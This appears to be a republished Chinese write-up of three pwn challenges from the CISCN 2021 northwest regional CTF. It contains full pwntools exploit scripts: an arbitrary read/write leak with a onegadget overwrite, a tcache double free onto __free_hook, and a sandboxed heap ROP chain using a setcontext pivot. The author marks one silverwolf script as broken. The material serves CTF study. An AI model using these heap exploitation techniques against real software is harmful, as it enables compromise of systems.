ciscn2021西北部分pwn
Posted mishixiaodai
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了ciscn2021西北部分pwn相关的知识,希望对你有一定的参考价值。
打了一天的国赛,发现自己还是太菜了
pwny
读取随机数到bss段上作为文件描述符范围在0~0xff之间,又在自定义的函数sub_ba0中发现可以根据偏移进行任意写的操作,sub_b20可以根据偏移进行任意读操作,因此就可以覆盖fd的值,爆破fd使其等于0,我们就可以进行任意读写
我们可以通过泄露出bss段上的stdout指针指向的_IO_2_1_stdout_的地址来泄露libc的基地址,在通过泄露data段上的off_202008来泄露bss段上的地址,再通过libc上的environ来泄露栈地址。
因此就可以通过偏移将onegadget直接写入栈上的返回地址中,获得shell。
用爆破调试有点麻烦,发现可以修改二进制程序,将fd直接改成0再进行调试。
exp如下:
from pwn import *
io=process('./pwny')
#io=remote('124.70.20.79',22270)
elf=ELF('./pwny')
#libc=ELF('./libc-2.27.so')
libc=elf.libc
context(log_level='debug')
context.terminal=['tmux','splitw','-h']
def read():
io.recvuntil('Your choice: ')
io.send('1 ')
io.recvuntil('Index: ')
def write(a1):
io.recvuntil('Your choice: ')
io.send('2 ')
io.recvuntil('Index: ')
#gdb.attach(io)
io.send(str(a1)+' ')
def exp():
write(256)
gdb.attach(io)
read()
#io.send('-64\\n')
io.send('\\xF8\\xFF\\xFF\\xFF\\xFF\\xFF\\xFF\\xff')
#gdb.attach(io)
io.recvuntil('Result: ')
stdout=int(io.recv(12),16)
print(hex(stdout))
libcbase = stdout-libc.symbols['_IO_2_1_stdout_']
print(hex(libcbase))
system=libcbase+libc.symbols['system']
stderr=libcbase+libc.symbols['_IO_2_1_stderr_']
binsh=libcbase+libc.search('/bin/sh').next()
environ=libcbase+libc.symbols['_environ']
onegadget=[0x4f3d5,0x4f432,0x10a41c]
#onegadget=[0x4f365,0x4f3c2,0x10a45c]
#offset=(environ-(bss_addr+0x60))//8
#gdb.attach(io)
read()
io.send('\\xf5\\xff\\xff\\xff\\xff\\xff\\xff\\xff')
io.recvuntil('Result: ')
bss_addr=int(io.recv(12),16)-8
print(hex(bss_addr))
read()
offset=(environ-(bss_addr+0x60))//8
io.send(p64(offset))
io.recvuntil('Result: ')
stack=int(io.recv(12),16)
print(hex(stack))
ret_addr=stack-0x120
offset=((ret_addr-(bss_addr+0x60))//8)
write(offset)
payload=p64(libcbase+onegadget[2])
io.send(payload)
io.interactive()
#io.sendline()
#exp()
i=0
while(i!=100):
try:
#io=remote('124.70.20.79',22270)
io=process('./pwny')
i+=1
exp()
except:
i+=1
io.close()
lonelywolf
常规的菜单题
发现漏洞在dele中对free后的指针没有置0
通过doublefree泄露heap_base控制fd指针来控制tcache_struct,将0x250对应的counts改为\\xff在freetcache_struct来泄露libcbase的基地址,最后再通过doublefree修改fd指针为__free_hook-0x8(__free_hook-0x10前8个字节不知道为啥修改不了),在__free_hook-0x8出填上/bin/sh\\x00,在__free_hook填上system地址,dele(0),拿到shell。但在打远程的时候,发现报出了doublefree漏洞,将第一次free后的tcache的fd和bk指针置0,在free就行了。
exp如下:
from pwn import *
#io = process('./lonelywolf')
io=remote('124.70.20.79',22175)
#elf=ELF('./lonelywolf')
#libc=elf.libc
libc=ELF('./libc-2.271.so')
#context(log_level='debug')
def add(a1,a2):
io.sendafter('Your choice: ','1 ')
io.sendafter('Index: ',str(a1)+' ')
io.sendafter('Size: ',str(a2)+' ')
def edit(a1,a2):
io.sendafter('Your choice: ','2 ')
io.sendafter('Index: ',str(a1)+' ')
io.sendlineafter('Content: ',a2)
def show(a1):
io.sendafter('Your choice: ','3 ')
io.sendafter('Index: ',str(a1)+' ')
def dele(a1):
io.sendafter('Your choice: ','4 ')
io.sendafter('Index: ',str(a1)+' ')
def exp():
add(0,96)#0 0x60
dele(0)
edit(0,p64(0)*2)
dele(0)
show(0)
io.recvuntil('Content: ')
#print(io.recv(6))
heapbase=u64(io.recv(6).ljust(8,'\\x00'))-0x260
#heapbase=int(io.recv(14),16)
print(hex(heapbase))
edit(0,p64(heapbase+0x10))
add(0,96)
#pause()
add(0,96)#tcache
edit(0,'\\x00'*0x20+'\\xff'*0x8)
dele(0)
#pause()
show(0)
io.recvuntil('Content: ')
malloc_hook=u64(io.recvuntil('\\x7f')[-6:].ljust(8,'\\x00'))-96-16
libcbase=malloc_hook-libc.symbols['__malloc_hook']
print(hex(libcbase))
free_hook=libcbase+libc.symbols['__free_hook']
system=libcbase+libc.symbols['system']
add(0,120)#0x30
edit(0,'\\x00'*0x40)
#pause()
dele(0)
edit(0,p64(0)*2)
dele(0)
edit(0,p64(free_hook-0x8)+p64(0))
add(0,120)
add(0,120)
edit(0,'/bin/sh\\x00'+p64(system))
pause()
dele(0)
io.interactive()
exp()
silverwolf
是个沙箱堆题,libc2.27,第一次做,发现程序逻辑和上个题一样,知识不能用system,但可以使用open、read、write。思路就是利用libc中的environ将chunk申请到栈上,再覆盖返回地址构造rop(这种思路实现起来有点困难,因为chunk可写的大小最大时0x78),但在调试时发现一进入open函数就报错,我猜测是因为libc中的open函数是open64,所以不能绕过沙箱,先放上我的错误exp(希望哪位大佬可以帮我调试下,帮帮我这个小菜鸡)(问题已解决,感谢 KANGEL12 师傅的提醒。),后续补上正确的exp。
from pwn import *
io = process('./silverwolf')
#io=remote('124.70.20.79',22220)
elf=ELF('./silverwolf')
libc=elf.libc
#libc=ELF('./libc-2.27.so')
context.terminal=['tmux','splitw','-h']
context(log_level='debug')
#pop_rdi=0x215bf
#pop_rsi=0x23ee
#pop_rdx=0x1b96
#pop_rdx_rsi=0x130569
pop_rax=0x43a78
pop_rdx_rsi=0x130889
pop_rdi=0x2155f
pop_rsi=0x23e8a
pop_rdx=0x1b96
def add(a1,a2):
io.sendafter('Your choice: ','1 ')
io.sendafter('Index: ',str(a1)+' ')
io.sendafter('Size: ',str(a2)+' ')
def edit(a1,a2):
io.sendafter('Your choice: ','2 ')
io.sendafter('Index: ',str(a1)+' ')
io.sendlineafter('Content: ',a2)
def show(a1):
io.sendafter('Your choice: ','3 ')
io.sendafter('Index: ',str(a1)+' ')
def dele(a1):
io.sendafter('Your choice: ','4 ')
io.sendafter('Index: ',str(a1)+' ')
def exp():
add(0,80)#0 0x50
dele(0)
edit(0,p64(0)*2)
dele(0)
show(0)
io.recvuntil('Content: ')
#print(io.recv(6))
heapbase=u64(io.recv(6).ljust(8,'\\x00'))-0x1880
print(hex(heapbase))
edit(0,p64(heapbase+0x10))
add(0,80)
#pause()
add(0,88)#tcache
edit(0,'\\x00'*6+'\\x01'+'\\x00'*(0x20-7)+'\\xff'*0x8+'\\x00'*0x2f)
add(0,120)
dele(0)
edit(0,p64(heapbase+0x40))
add(0,120)
add(0,120)#tcache+0x40
edit(0,'\\x00'*0x70)
add(0,96)
dele(0)
edit(0,p64(0)*2)
dele(0)
edit(0,p64(heapbase+0x10))
add(0,96)
add(0,96)#tcache
#pause()
dele(0)
#pause()
show(0)
io.recvuntil('Content: ')
malloc_hook=u64(io.recvuntil('\\x7f')[-6:].ljust(8,'\\x00'))-96-16
libcbase=malloc_hook-libc.symbols['__malloc_hook']
print(hex(libcbase))
free_hook=libcbase+libc.symbols['__free_hook']
environ=libcbase+libc.symbols['environ']
opens=libcbase+libc.symbols['open']
reads=libcbase+libc.symbols['read']
add(0,120)#0x78
#pause()
edit(0,'\\x00'*0x68+p64(environ))
add(0,96)#environ
show(0)
io.recvuntil('Content: ')
stack = u64(io.recvuntil('\\x7f')[-6:].ljust(8,'\\x00'))
#print(hex(stack))
#gdb.attach(io)
#pause()
add_stack=stack-0x120
print(hex(add_stack))
add(0,120)#0x78
dele(0)
#pause()
edit(0,p64(0)*2)
dele(0)
edit(0,p64(add_stack))
add(0,120)
#pause()
add(0,120)#stack
show(0)
#pause()
io.recvuntil('Content: ')
main=u64(io.recv(6).ljust(8,'\\x00'))+0x10
print(hex(main))
#open('./flag',0)
orw=p64(pop_rdi+libcbase)+p64(add_stack+0x60)+p64(pop_rsi+libcbase)+p64(0)+p64(opens)
#read(fd,buf,0x30)
orw+=p64(pop_rdi+libcbase)+p64(3)+p64(pop_rdx_rsi+libcbase)+p64(0x30)+p64(heapbase+0x10)+p64(reads)+p64(main)+'./flag\\x00\\x00'
#write(fd,buf,0x30)
#orw+=p64(pop_rdi+libcbase)+p64(1)+p64(pop_rsi+libcbase)+p64(heapbase+0x10)+p64(pop_rdx+libcbase)+p64(0x30)+'./flag\\x00\\x00'
print(len(orw))
gdb.attach(io)
edit(0,orw)
add(0,80)
dele(0)
edit(0,p64(0)*2)
dele(0)
edit(0,p64(heapbase+0x10))
add(0,80)
add(0,80)
#gdb.attach(io)
#io.recvuntil('\\n',timeout=10000000)
show(0)
exp()
看了南邮师傅们的博客复现了一下,思路主要是,将rop写在堆上,用setcontext函数设置rsp的值也就是栈顶的地址,将栈转移到堆上,执行rop。
正确exp:
f-rom pwn import*
#context.terminal=['tmux','splitw','-h']
def menu(ch):
p.sendlineafter('choice:',str(ch))
def add(size):
menu(1)
p.sendlineafter('Index:',str(0))
p.sendlineafter('Size:',str(size))
def edit(content):
menu(2)
p.sendlineafter('Index:',str(0))
p.sendlineafter('Content:',content)
def show():
menu(3)
p.sendlineafter('Index:',str(0))
def free():
menu(4)
p.sendlineafter('Index:',str(0))
#p = process('./silverwolf')
#elf = ELF('./silverwolf')
#libc = elf.libc
libc = ELF('./libc-2.27.so')
for i in range(7):
add(0x78)
edit('./flag\\x00')
#pause()
for i in range(2):
edit('\\x00'*0x10)
free()
show()
p.recvuntil('Content: ')
heap_base = u64(p.recv(6).ljust(8,'\\x00')) - 0x5B0 - 0x940 - 0x70
log.info('HEAP:\\t' + hex(heap_base))
edit(p64(heap_base + 0x10))
add(0x78)
add(0x78)
edit('\\x00'*0x23 + '\\x07')
#pause()
free()
show()
libc_base = u64(p.recvuntil('\\x7F')[-6:].ljust(8,'\\x00')) - libc.sym['__malloc_hook'] - 0x70
log.info('LIBC:\\t' + hex(libc_base))
edit('\\x03'*0x40 + p64(libc_base + libc.sym['__free_hook']) + '\\x00'*8*1 + p64(heap_base + 0x4000) + p64(heap_base + 0x3000 + 0x60) + p64(heap_base + 0x1000) + p64(heap_base + 0x10A0) + p64(heap_base + 0x3000))
#pause()
add(0x18)
########################
pop_rdi_ret = libc_base + 0x00000000000215BF
pop_rdx_ret = libc_base + 0x0000000000001B96
pop_rax_ret = libc_base + 0x0000000000043AE8
pop_rsi_ret = libc_base + 0x0000000000023EEA
ret = libc_base + 0x00000000000008AA
#pop_rax_ret=0x43a78 + libc_base
#pop_rdx_rsi=0x130889 + libc_base
#pop_rdi_ret=0x2155f + libc_base
#pop_rsi_ret=0x23e8a + libc_base
#pop_rdx_ret=0x1b96 + libc_base
Open = libc_base + libc.sym['open']
Read = libc_base + libc.sym['read']
Write = libc_base + libc.sym['write']
syscall = Read + 15
FLAG = heap_base + 0x4000
gadget = libc_base + libc.sym['setcontext'] + 53
orw = p64(pop_rdi_ret) + p64(FLAG)
orw += p64(pop_rsi_ret) + p64(0)
orw += p64(pop_rax_ret) + p64(2)
orw += p64(syscall)
orw += p64(pop_rdi_ret) + p64(3)
orw += p64(pop_rsi_ret) + p64(heap_base + 0x3000)
orw += p64(pop_rdx_ret) + p64(0x30)
orw += p64(Read)
orw += p64(pop_rdi_ret) + p64(1)
orw += p64(Write)
#############################
#gdb.attach(p)
edit(p64(gadget))
add(0x38)
edit('./flag\\x00')
add(0x78)
edit(orw[:0x60])
add(0x48)
edit(orw[0x60:])
add(0x68)
edit(p64(heap_base + 0x3000) + p64(pop_rdi_ret + 1))
add(0x58)
gdb.attach(p)
free()
p.interactive()
以上是关于ciscn2021西北部分pwn的主要内容,如果未能解决你的问题,请参考以下文章